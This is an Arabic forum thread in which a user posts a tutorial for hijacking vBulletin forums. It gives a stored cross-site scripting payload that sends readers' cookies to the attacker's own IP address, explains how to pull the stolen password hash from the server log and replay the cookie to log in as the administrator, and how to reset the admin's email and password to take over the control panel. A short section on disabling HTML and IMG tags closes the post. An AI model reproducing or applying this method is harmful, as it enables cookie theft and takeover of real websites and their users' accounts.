منتديات ذيب الغزالية
ضيف منتديات ذيب الغزالية هذا الخانة تشير بانك غير مسجل في المنتدى !!! اذا كنت مشترك في المنتدى مسبقا الرجاء قم بالدخول على زر الدخول او اذا كنت لا تملك عضوية ادخل على زر التسجيل واتبع التعليمات



 
الرئيسيةاليوميةمكتبة الصورس .و .جبحـثقائمة الاعضاءالمجموعاتالتسجيلدخول شباب المنصور

اهلا وسهلا بكم في منتديات ذيب الغزالية ,,منتدى شباب الغزالية وكل مدن العراق يمكننكم التواصل مع الاعضاء عن طريق التسجيل في المنتدى ومن ثم التفعيل عن طريق ايميلك الشخصي (ستصلك رسالة الى ايميلك فيها خطوات التفعيل )..... على الرحب والسعـــــى ...... منــــــــــورين  المنتـــــدى^^__^^

المواضيع الأخيرة
» [ سيرفر كأؤنتر سترأيك 2015 ]
الخميس ديسمبر 18, 2014 3:46 am من طرف zeroiraq

» الحاجة الى خط لنقل الموظفين
الإثنين نوفمبر 26, 2012 9:48 pm من طرف Naghmah

» شاهد القنوات المشفرة ع النت
الثلاثاء أبريل 24, 2012 10:36 pm من طرف وسام أبوالعوف

» منتدى تطوير منتديات احلى منتدى كود css جعل الحقوق لك
الخميس يناير 12, 2012 11:17 pm من طرف cezar Tariq

»  محمد السالم ّ ^^ قلب قلب ^^ 2011 قمبلة الحصريات
الأحد يوليو 31, 2011 8:06 am من طرف ذيب الغزالية

» الجزء الاول من عالم الطبيعة
الأحد يوليو 31, 2011 8:05 am من طرف ذيب الغزالية

» برنامج تغير الصوت
الأحد يوليو 31, 2011 8:04 am من طرف ذيب الغزالية

» الشلة التعبانة
الإثنين ديسمبر 20, 2010 2:45 pm من طرف ذيب الغزالية

» خامس اربعة دولةو علم خخخ
الأربعاء ديسمبر 15, 2010 10:56 am من طرف ذيب الغزالية

بحـث
 
 

نتائج البحث
 
Rechercher بحث متقدم
أفضل 10 أعضاء في هذا المنتدى
ذيب الغزالية
 
تاره
 
scream_love
 
عاشق بلاحبيبة
 
lovely of scream_love
 
قرصون الكايبي
 
سمـو آلآميرهـ ..~
 
عمر حربي
 
عمر المشاكس
 
sara.love
 
ازرار التصفُّح
 البوابة
 الصفحة الرئيسية
 قائمة الاعضاء
 البيانات الشخصية
 س .و .ج
 ابحـث
المتواجدون الآن ؟
ككل هناك 1 عُضو حالياً في هذا المنتدى :: 0 عضو مُسجل, 0 عُضو مُختفي و 1 زائر

لا أحد

أكبر عدد للأعضاء المتواجدين في هذا المنتدى في نفس الوقت كان 19 بتاريخ الثلاثاء يونيو 18, 2013 9:47 am
 .: عدد زوار المنتدى لهذا الاسبوع في منتديات ذيب الغزالية  :.

منتدى

شاطر | 
 

 اختراق منتديات نوع vpbleteon

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
امير الهكر
عضو جديد
عضو جديد


عدد المساهمات : 6
السٌّمعَة : 0
تاريخ التسجيل : 26/07/2009

مُساهمةموضوع: اختراق منتديات نوع vpbleteon   الخميس يوليو 30, 2009 11:33 pm

بسم الله الرحمن الرحيم

يتمنى الجميع معرفة الطريقة المستخدمة في إختراق المنتديات وخصوصا vBulletin ..
الطريقة كانت حكرا على عدد قليل جدا من الهاكرز العرب ..
وانا الان اضع ام الطريقة من A - Z .. لكن بشرط واحد .. (أقرأ السطور التالية)
" أقسم بالله العظيم أني لن استخدمها ضد إخواني المسلمين مهما كانت الأسباب والدوافع والله على ما أقول شهيد "
فقط هذا ما أريده بالمقابل .. واعتقد انه طلب سهل يستطيع الجميع تنفيذه ...

---------
مقدمة :
---------

الموضوع : اختراق الـ vBulletin
المتطلبات : WebServer (تركيب سيرفر على جهازك الشخصي) + متصفح انترنت (ابلورر) .
المستوى : متوسط

ملاحظة : هذه الطريقة لسيت للـ vBulletin فقط !! يمكن ان تجربها على انواع اخرى من المنتديات .


----------
الثغرة :
---------

تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML ..

قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
<s***pt>********.write('<img
src="http://my_ip_address/'+********.******+'">';</s***pt>

مع ملاحظة تغير الـ IP Adress الى رقم الـ IP الخاص بك .

وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم
الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها ) .

وبعد ان تتم العملية بنجاح قم بفتح ملف الـ Log الخاص بالسيرفر الذي يحتويه جهازك ..
مثال لو كان السيرفر اباتشي .. فتاح المجلد Apche واختر logs واختر Acces Log .
ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ

ابحث عن الكود الخاص بالباسورد .. مثال :

GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb







ddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f8;%20bbthreadview[54







20]=1012444064;%20bblastvi
sit=1011983161

فكر قليلا الان .. اين الباسورد ؟؟
الباسورد موجودة لكن بطريقة مشفرة يصعب رها .. اذن مالحل ؟
قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط][userid]&bbpassword=[password hash]
ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..
لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
وثم قم بتسجيل الخروج .. ثم اذهب الى اداة Forgot Password .. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..

اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !

------------
الحل
-----------

للحماية من هذه الثغرة قم باغلاق الـ HTML في (المنتدى + الرسائل الخاصة + التواقيع + التقويم + ... )
(واي منفذ يمكن من خلاله وضع كود HTML باي صورة كانت )

كما يجب اغلا كود الـ IMG .. لانه ببساطة بامكانك استخدامه بدل كلمة <s***pt> فاذا وضعت <img> او <Demon> او
اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر ... لذا كن حذرا واغلق هذه المنافذ .
Be Secret .. Dont' be Lamer .

تاريخ اكتشاف الثغرة : 31 - 1 - 2002
تم تجربتها على الاصدار 2.2.0 وهي تعمل بنجاح .


السريفر الشخصي

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
هذا سريفر الاباتشي





مع تحيات امير الهكر
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
scream_love
عضو جديد
عضو جديد


عدد المساهمات : 416
السٌّمعَة : 4
تاريخ التسجيل : 21/07/2009
العمر : 23

مُساهمةموضوع: رد: اختراق منتديات نوع vpbleteon   الأحد يناير 31, 2010 10:20 pm

حياك فرفووووووووور
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
 
اختراق منتديات نوع vpbleteon
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات ذيب الغزالية  :: منتدى البرامج للحاسبات-
انتقل الى: